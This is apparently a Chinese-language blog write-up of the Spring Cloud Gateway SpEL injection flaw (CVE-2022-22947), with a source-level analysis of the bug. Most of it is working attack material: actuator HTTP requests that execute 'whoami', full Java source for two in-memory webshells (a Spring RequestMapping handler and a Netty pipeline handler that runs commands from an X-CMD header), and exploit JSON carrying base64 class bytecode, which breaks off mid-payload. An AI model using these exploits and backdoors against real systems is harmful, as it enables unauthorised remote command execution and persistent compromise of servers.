Spring Cloud Gateway 是基于 Spring Framework 和 Spring Boot 构建的 API 网关,它旨在为微服务架构提供一种简单、有效、统一的 API 路由管理方式

Spring Cloud Gateway 远程代码执行漏洞(CVE-2022-22947)发生在Spring Cloud Gateway应用程序的Actuator端点,其在启用、公开和不安全的情况下容易受到代码注入的攻击。攻击者可通过该漏洞恶意创建允许在远程主机上执行任意远程执行的请求

官方公告:https://tanzu.vmware.com/security/cve-2022-22947

漏洞影响版本:

  • Spring Cloud Gateway 3.1.0
  • Spring Cloud Gateway 3.0.0 - 3.0.6
  • Spring Cloud Gateway 其它不支持的、已不再更新的版本

下载存在漏洞的版本v3.1.0:https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.1.0

漏洞复现

先创建路由,在filter中填充 SpEL 表达式,然后refresh,使用AddResponseHeader进行回显

1.添加filter

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 329

{
"id": "spel",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}

2.刷新

1
2
3
4
5
6
7
8
9
10
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 0

3.再次访问

1
2
3
4
5
6
7
8
GET /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

成功得到命令执行回显

4.删除路由

1
2
3
4
5
6
7
8
9
DELETE /actuator/gateway/routes/spel HTTP/1.1
Host: 127.0.0.1:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 0

看到状态码为200说明删除成功,最后再刷新一遍就可以了

漏洞分析

看下diff:https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e
可以看到在ShortcutConfigurable中用GatewayEvaluationContext替代了StandardEvaluationContext来执行spel表达式

org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue下断点进行调试

可以看到如果entryValue可控即可实现SpEL表达式注入
查找getValue方法,发现有4处调用,且均在ShortcutType这个枚举类型里,它会根据ShortcutType的类型执行不同的normalize函数

存在shortcutType方法,会直接返回ShortcutType.DEFAULT

接着看到org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties

这个 normalizeProperties() 是对filter的属性进行解析,传入this.properties,其中保存了前面添加的filters agrs属性中的name和value

路由初始化

根据文档:https://cloud.spring.io/spring-cloud-gateway/multi/multi__actuator_api.html
用户可以通过actuator在网关中创建和删除路由

我们可以用idea的映射功能找到对应的Controller

可以知道POST传入的是RouteDefinition对象

其中 FilterDefinition 类需要有一个name和args键值对

在创建路由的过程中使用了this::validateRouteDefinition对已有的filter进行匹配,一共有29个

所有合法过滤器名称:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
AddRequestHeader
MapRequestHeader
AddRequestParameter
AddResponseHeader
ModifyRequestBody
DedupeResponseHeader
ModifyResponseBody
CacheRequestBody
PrefixPath
PreserveHostHeader
RedirectTo
RemoveRequestHeader
RemoveRequestParameter
RemoveResponseHeader
RewritePath
Retry
SetPath
SecureHeaders
SetRequestHeader
SetRequestHostHeader
SetResponseHeader
RewriteResponseHeader
RewriteLocationResponseHeader
SetStatus
SaveSession
StripPrefix
RequestHeaderToRequestUri
RequestSize
RequestHeaderSize

回显构造

在refresh路由时会调用对应GatewayFilterapply函数

看到类org.springframework.cloud.gateway.filter.factory.AddResponseHeaderGatewayFilterFactory#apply

此方法会把config的name和value属性都添加到header中,当成功创建新的路由后,可以通过GET请求获取配置信息

注入内存马

参考:Spring cloud gateway通过SPEL注入内存马

Spring cloud gateway对payload的稳定性要求比较高,一旦报错可能会影响业务的。所以在开始之前,我们需要先构造一个优质的SPEL执行java字节码的payload

使用Spring中自带的ReflectUtils类的defineClass方法,c0ny1师傅进行了如下的优化:

  1. 解决BCEL/js引擎兼容性问题
  2. 解决base64在不同版本jdk的兼容问题
  3. 可多次运行同类名字节码
  4. 解决可能导致的ClassNotFound问题
1
#{T(org.springframework.cglib.core.ReflectUtils).defineClass('Memshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAA....'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}

MLet继承了URLClassLoader,所以这里通过new MLet()来new一个新的ClassLoader就可以避免ClassLoader无法加载相同类名的类

Spring层内存马

c0ny1师傅文章中用到的是RequestMappingHandlerMapping注册一个与使用@RequestMapping("/*")等效的HandlerMapping类型的内存马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.reactive.result.condition.PatternsRequestCondition;
import org.springframework.web.reactive.result.method.RequestMappingInfo;
import org.springframework.web.util.pattern.PathPattern;
import org.springframework.web.util.pattern.PathPatternParser;

import java.io.IOException;
import java.lang.reflect.Method;
import java.util.Scanner;

public class SpringRequestMappingMemshell {
public static String doInject(Object requestMappingHandlerMapping) {
String msg = "inject-start";
try {
Method registerHandlerMethod = requestMappingHandlerMapping.getClass().getDeclaredMethod("registerHandlerMethod", Object.class, Method.class, RequestMappingInfo.class);
registerHandlerMethod.setAccessible(true);
Method executeCommand = SpringRequestMappingMemshell.class.getDeclaredMethod("executeCommand", String.class);
PathPattern pathPattern = new PathPatternParser().parse("/*");
PatternsRequestCondition patternsRequestCondition = new PatternsRequestCondition(pathPattern);
RequestMappingInfo requestMappingInfo = new RequestMappingInfo("", patternsRequestCondition, null, null, null, null, null, null);
registerHandlerMethod.invoke(requestMappingHandlerMapping, new SpringRequestMappingMemshell(), executeCommand, requestMappingInfo);
msg = "inject-success";
}catch (Exception e){
msg = "inject-error";
}
return msg;
}

public ResponseEntity executeCommand(String cmd) throws IOException {
String execResult = new Scanner(Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}).getInputStream(),"GBK").useDelimiter("\\A").next();
return new ResponseEntity(execResult, HttpStatus.OK);
}
}

最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('SpringRequestMappingMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAkwoABgBOCABPCgAGAFAIADMHAFEHAFIHAFMHAFQKAAUAVQoABwBWBwBXCAA1BwBYBwBZCgAOAE4IAFoKAA4AWwcAXAcAXQoAEgBeCABfCgAIAGAKAAsATgoABwBhCABiBwBjCABkBwBlCgBmAGcIAEgIAGgKAGYAaQoAagBrCABsCgAcAG0IAG4KABwAbwoAHABwBwBxCQByAHMKACcAdAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAeTFNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGw7AQAIZG9JbmplY3QBACYoTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFXJlZ2lzdGVySGFuZGxlck1ldGhvZAEAGkxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAOZXhlY3V0ZUNvbW1hbmQBAAtwYXRoUGF0dGVybgEAMkxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQAYcGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uAQBMTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGF0dGVybnNSZXF1ZXN0Q29uZGl0aW9uOwEAEnJlcXVlc3RNYXBwaW5nSW5mbwEAQ0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvbWV0aG9kL1JlcXVlc3RNYXBwaW5nSW5mbzsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAccmVxdWVzdE1hcHBpbmdIYW5kbGVyTWFwcGluZwEAEkxqYXZhL2xhbmcvT2JqZWN0OwEAA21zZwEAEkxqYXZhL2xhbmcvU3RyaW5nOwEADVN0YWNrTWFwVGFibGUHAFIHAFgHAGMBABBNZXRob2RQYXJhbWV0ZXJzAQA9KExqYXZhL2xhbmcvU3RyaW5nOylMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL1Jlc3BvbnNlRW50aXR5OwEAA2NtZAEACmV4ZWNSZXN1bHQBAApFeGNlcHRpb25zBwB1AQAKU291cmNlRmlsZQEAIVNwcmluZ1JlcXVlc3RNYXBwaW5nTWVtc2hlbGwuamF2YQwAKgArAQAMaW5qZWN0LXN0YXJ0DAB2AHcBAA9qYXZhL2xhbmcvQ2xhc3MBABBqYXZhL2xhbmcvT2JqZWN0AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQBBb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L21ldGhvZC9SZXF1ZXN0TWFwcGluZ0luZm8MAHgAeQwAegB7AQAcU3ByaW5nUmVxdWVzdE1hcHBpbmdNZW1zaGVsbAEAEGphdmEvbGFuZy9TdHJpbmcBADZvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm5QYXJzZXIBAAIvKgwAfAB9AQBKb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9QYXR0ZXJuc1JlcXVlc3RDb25kaXRpb24BADBvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm4MACoAfgEAAAwAKgB/DACAAIEBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IBABFqYXZhL3V0aWwvU2Nhbm5lcgcAggwAgwCEAQACL2MMAIUAhgcAhwwAiACJAQADR0JLDAAqAIoBAAJcQQwAiwCMDACNAI4BACdvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvUmVzcG9uc2VFbnRpdHkHAI8MAJAAkQwAKgCSAQATamF2YS9pby9JT0V4Y2VwdGlvbgEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAEWdldERlY2xhcmVkTWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEADXNldEFjY2Vzc2libGUBAAQoWilWAQAFcGFyc2UBAEYoTGphdmEvbGFuZy9TdHJpbmc7KUxvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi91dGlsL3BhdHRlcm4vUGF0aFBhdHRlcm47AQA2KFtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvdXRpbC9wYXR0ZXJuL1BhdGhQYXR0ZXJuOylWAQIkKExqYXZhL2xhbmcvU3RyaW5nO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1BhdHRlcm5zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9SZXF1ZXN0TWV0aG9kc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUGFyYW1zUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9IZWFkZXJzUmVxdWVzdENvbmRpdGlvbjtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvcmVhY3RpdmUvcmVzdWx0L2NvbmRpdGlvbi9Db25zdW1lc1JlcXVlc3RDb25kaXRpb247TG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3JlYWN0aXZlL3Jlc3VsdC9jb25kaXRpb24vUHJvZHVjZXNSZXF1ZXN0Q29uZGl0aW9uO0xvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9yZWFjdGl2ZS9yZXN1bHQvY29uZGl0aW9uL1JlcXVlc3RDb25kaXRpb247KVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAoKFtMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAEWphdmEvbGFuZy9Qcm9jZXNzAQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAKihMamF2YS9pby9JbnB1dFN0cmVhbTtMamF2YS9sYW5nL1N0cmluZzspVgEADHVzZURlbGltaXRlcgEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvdXRpbC9TY2FubmVyOwEABG5leHQBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEAI29yZy9zcHJpbmdmcmFtZXdvcmsvaHR0cC9IdHRwU3RhdHVzAQACT0sBACVMb3JnL3NwcmluZ2ZyYW1ld29yay9odHRwL0h0dHBTdGF0dXM7AQA6KExqYXZhL2xhbmcvT2JqZWN0O0xvcmcvc3ByaW5nZnJhbWV3b3JrL2h0dHAvSHR0cFN0YXR1czspVgAhAAsABgAAAAAAAwABACoAKwABACwAAAAvAAEAAQAAAAUqtwABsQAAAAIALQAAAAYAAQAAAAwALgAAAAwAAQAAAAUALwAwAAAACQAxADIAAgAsAAABUwAKAAcAAACSEgJMKrYAAxIEBr0ABVkDEgZTWQQSB1NZBRIIU7YACU0sBLYAChILEgwEvQAFWQMSDVO2AAlOuwAOWbcADxIQtgAROgS7ABJZBL0AE1kDGQRTtwAUOgW7AAhZEhUZBQEBAQEBAbcAFjoGLCoGvQAGWQO7AAtZtwAXU1kELVNZBRkGU7YAGFcSGUynAAdNEhtMK7AAAQADAIkAjAAaAAMALQAAADYADQAAAA4AAwAQACAAEQAlABIANgATAEQAFABWABUAaQAWAIYAFwCJABoAjAAYAI0AGQCQABsALgAAAFIACAAgAGkAMwA0AAIANgBTADUANAADAEQARQA2ADcABABWADMAOAA5AAUAaQAgADoAOwAGAI0AAwA8AD0AAgAAAJIAPgA/AAAAAwCPAEAAQQABAEIAAAATAAL/AIwAAgcAQwcARAABBwBFAwBGAAAABQEAPgAAAAEANQBHAAMALAAAAHsABwADAAAAObsAHFm4AB0GvQANWQMSHlNZBBIfU1kFK1O2ACC2ACESIrcAIxIktgAltgAmTbsAJ1kssgAotwApsAAAAAIALQAAAAoAAgAAAB8ALQAgAC4AAAAgAAMAAAA5AC8AMAAAAAAAOQBIAEEAAQAtAAwASQBBAAIASgAAAAQAAQBLAEYAAAAFAQBIAAAAAQBMAAAAAgBN'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}",
"_genkey_1": "/${path}"
}
}
],
"uri": "http://example.com"
}

netty层内存马

netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import io.netty.buffer.Unpooled;
import io.netty.channel.*;
import io.netty.handler.codec.http.*;
import io.netty.util.CharsetUtil;
import reactor.netty.ChannelPipelineConfigurer;
import reactor.netty.ConnectionObserver;

import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.SocketAddress;
import java.util.Scanner;

public class NettyMemshell extends ChannelDuplexHandler implements ChannelPipelineConfigurer {
public static String doInject(){
String msg = "inject-start";
try {
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
getThreads.setAccessible(true);
Object threads = getThreads.invoke(null);

for (int i = 0; i < Array.getLength(threads); i++) {
Object thread = Array.get(threads, i);
if (thread != null && thread.getClass().getName().contains("NettyWebServer")) {
Field _val$disposableServer = thread.getClass().getDeclaredField("val$disposableServer");
_val$disposableServer.setAccessible(true);
Object val$disposableServer = _val$disposableServer.get(thread);
Field _config = val$disposableServer.getClass().getSuperclass().getDeclaredField("config");
_config.setAccessible(true);
Object config = _config.get(val$disposableServer);
Field _doOnChannelInit = config.getClass().getSuperclass().getSuperclass().getDeclaredField("doOnChannelInit");
_doOnChannelInit.setAccessible(true);
_doOnChannelInit.set(config, new NettyMemshell());
msg = "inject-success";
}
}
}catch (Exception e){
msg = "inject-error";
}
return msg;
}

@Override
// Step1. 作为一个ChannelPipelineConfigurer给pipline注册Handler
public void onChannelInit(ConnectionObserver connectionObserver, Channel channel, SocketAddress socketAddress) {
ChannelPipeline pipeline = channel.pipeline();
// 将内存马的handler添加到spring层handler的前面
pipeline.addBefore("reactor.left.httpTrafficHandler","memshell_handler",new NettyMemshell());
}


@Override
// Step2. 作为Handler处理请求,在此实现内存马的功能逻辑
public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception {
if(msg instanceof HttpRequest){
HttpRequest httpRequest = (HttpRequest)msg;
try {
if(httpRequest.headers().contains("X-CMD")) {
String cmd = httpRequest.headers().get("X-CMD");
String execResult = new Scanner(Runtime.getRuntime().exec(new String[]{"cmd","/c",cmd}).getInputStream(),"GBK").useDelimiter("\\A").next();
// 返回执行结果
send(ctx, execResult, HttpResponseStatus.OK);
return;
}
}catch (Exception e){
e.printStackTrace();
}
}
ctx.fireChannelRead(msg);
}


private void send(ChannelHandlerContext ctx, String context, HttpResponseStatus status) {
FullHttpResponse response = new DefaultFullHttpResponse(HttpVersion.HTTP_1_1, status, Unpooled.copiedBuffer(context, CharsetUtil.UTF_8));
response.headers().set(HttpHeaderNames.CONTENT_TYPE, "text/plain; charset=UTF-8");
ctx.writeAndFlush(response).addListener(ChannelFutureListener.CLOSE);
}
}

然后生成字节码,传入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "#{T(org.springframework.cglib.core.ReflectUtils).defineClass('NettyMemshell',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQBGQoAQgCBCACCBwCDCABXBwCECgAFAIUKAIYAhwcAiAoAhgCJCgCKAIsKAIoAjAoACACNCgAFAI4IAI8KACgAkAgATwoABQCRCgCSAIcKAJIAkwoABQCUCABSCACVBwCWCgAXAIEKAJIAlwgAmAcAmQgAmgsAmwCcCACdCACeCwCfAKAHAKELACEAoggAowoApAClCgCkAKYHAKcKAKgAqQcAqggAcAgAqwoAqACsCgCtAK4IAK8KACYAsAgAsQoAJgCyCgAmALMJALQAtQoAFwC2CgAbALcLALgAuQcAugkAuwC8CQC9AL4KAL8AwAoANgDBCwDCAKIJAMMAxAgAxQoApADGCwC4AMcJAMgAyQsAygDLBwDMBwDNAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAA9MTmV0dHlNZW1zaGVsbDsBAAhkb0luamVjdAEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAVX3ZhbCRkaXNwb3NhYmxlU2VydmVyAQAZTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEAFHZhbCRkaXNwb3NhYmxlU2VydmVyAQASTGphdmEvbGFuZy9PYmplY3Q7AQAHX2NvbmZpZwEABmNvbmZpZwEAEF9kb09uQ2hhbm5lbEluaXQBAAZ0aHJlYWQBAAFpAQABSQEACmdldFRocmVhZHMBABpMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAB3RocmVhZHMBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQADbXNnAQASTGphdmEvbGFuZy9TdHJpbmc7AQANU3RhY2tNYXBUYWJsZQcAqgcAzgcAiAcAmQEADW9uQ2hhbm5lbEluaXQBAFcoTHJlYWN0b3IvbmV0dHkvQ29ubmVjdGlvbk9ic2VydmVyO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7TGphdmEvbmV0L1NvY2tldEFkZHJlc3M7KVYBABJjb25uZWN0aW9uT2JzZXJ2ZXIBACJMcmVhY3Rvci9uZXR0eS9Db25uZWN0aW9uT2JzZXJ2ZXI7AQAHY2hhbm5lbAEAGkxpby9uZXR0eS9jaGFubmVsL0NoYW5uZWw7AQANc29ja2V0QWRkcmVzcwEAGExqYXZhL25ldC9Tb2NrZXRBZGRyZXNzOwEACHBpcGVsaW5lAQAiTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAEE1ldGhvZFBhcmFtZXRlcnMBAAtjaGFubmVsUmVhZAEAPShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9PYmplY3Q7KVYBAANjbWQBAApleGVjUmVzdWx0AQALaHR0cFJlcXVlc3QBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXF1ZXN0OwEAA2N0eAEAKExpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyQ29udGV4dDsHAKEBAApFeGNlcHRpb25zAQAEc2VuZAEAbShMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7TGphdmEvbGFuZy9TdHJpbmc7TGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7KVYBAAdjb250ZXh0AQAGc3RhdHVzAQAwTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXM7AQAIcmVzcG9uc2UBAC5MaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0Z1bGxIdHRwUmVzcG9uc2U7AQAKU291cmNlRmlsZQEAEk5ldHR5TWVtc2hlbGwuamF2YQwARABFAQAMaW5qZWN0LXN0YXJ0AQAQamF2YS9sYW5nL1RocmVhZAEAD2phdmEvbGFuZy9DbGFzcwwAzwDQBwDODADRANIBABBqYXZhL2xhbmcvT2JqZWN0DADTANQHANUMANYA1wwA2ADZDADaANsMANwATAEADk5ldHR5V2ViU2VydmVyDADdAN4MAN8A4AcA4QwA2ADiDADjANsBAA9kb09uQ2hhbm5lbEluaXQBAA1OZXR0eU1lbXNoZWxsDADkAOUBAA5pbmplY3Qtc3VjY2VzcwEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAxpbmplY3QtZXJyb3IHAOYMAGsA5wEAH3JlYWN0b3IubGVmdC5odHRwVHJhZmZpY0hhbmRsZXIBABBtZW1zaGVsbF9oYW5kbGVyBwDoDADpAOoBACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cFJlcXVlc3QMAOsA7AEABVgtQ01EBwDtDADdAO4MANgA7wEAEWphdmEvdXRpbC9TY2FubmVyBwDwDADxAPIBABBqYXZhL2xhbmcvU3RyaW5nAQACL2MMAPMA9AcA9QwA9gD3AQADR0JLDABEAPgBAAJcQQwA+QD6DAD7AEwHAPwMAP0AfAwAeAB5DAD+AEUHAP8MAQABAQEAM2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9EZWZhdWx0RnVsbEh0dHBSZXNwb25zZQcBAgwBAwEEBwEFDAEGAQcHAQgMAQkBCgwARAELBwEMBwENDAEOAQ8BABl0ZXh0L3BsYWluOyBjaGFyc2V0PVVURi04DADkARAMAREBEgcBEwwBFAEVBwEWDAEXARgBACVpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxEdXBsZXhIYW5kbGVyAQAncmVhY3Rvci9uZXR0eS9DaGFubmVsUGlwZWxpbmVDb25maWd1cmVyAQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQARZ2V0RGVjbGFyZWRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQANc2V0QWNjZXNzaWJsZQEABChaKVYBAAZpbnZva2UBADkoTGphdmEvbGFuZy9PYmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBABdqYXZhL2xhbmcvcmVmbGVjdC9BcnJheQEACWdldExlbmd0aAEAFShMamF2YS9sYW5nL09iamVjdDspSQEAA2dldAEAJyhMamF2YS9sYW5nL09iamVjdDtJKUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAB2dldE5hbWUBAAhjb250YWlucwEAGyhMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTspWgEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQANZ2V0U3VwZXJjbGFzcwEAA3NldAEAJyhMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL09iamVjdDspVgEAGGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbAEAJCgpTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lOwEAIGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbFBpcGVsaW5lAQAJYWRkQmVmb3JlAQBpKExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nO0xpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxIYW5kbGVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsUGlwZWxpbmU7AQAHaGVhZGVycwEAKygpTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyczsBACdpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnMBABUoTGphdmEvbGFuZy9TdHJpbmc7KVoBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACgoW0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1Byb2Nlc3MBAA5nZXRJbnB1dFN0cmVhbQEAFygpTGphdmEvaW8vSW5wdXRTdHJlYW07AQAqKExqYXZhL2lvL0lucHV0U3RyZWFtO0xqYXZhL2xhbmcvU3RyaW5nOylWAQAMdXNlRGVsaW1pdGVyAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL1NjYW5uZXI7AQAEbmV4dAEALmlvL